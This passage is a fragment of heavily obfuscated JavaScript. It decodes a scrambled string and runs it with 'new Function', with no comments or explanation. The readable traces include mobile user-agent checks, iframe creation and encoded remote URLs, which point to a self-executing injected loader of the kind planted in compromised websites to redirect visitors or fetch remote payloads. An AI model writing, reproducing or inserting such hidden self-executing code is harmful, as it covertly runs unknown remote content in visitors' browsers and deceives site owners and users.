VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs@qhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Ks@j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs@qhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Ks@j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q/f/Ks@j(8}vR86sdRRfons_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();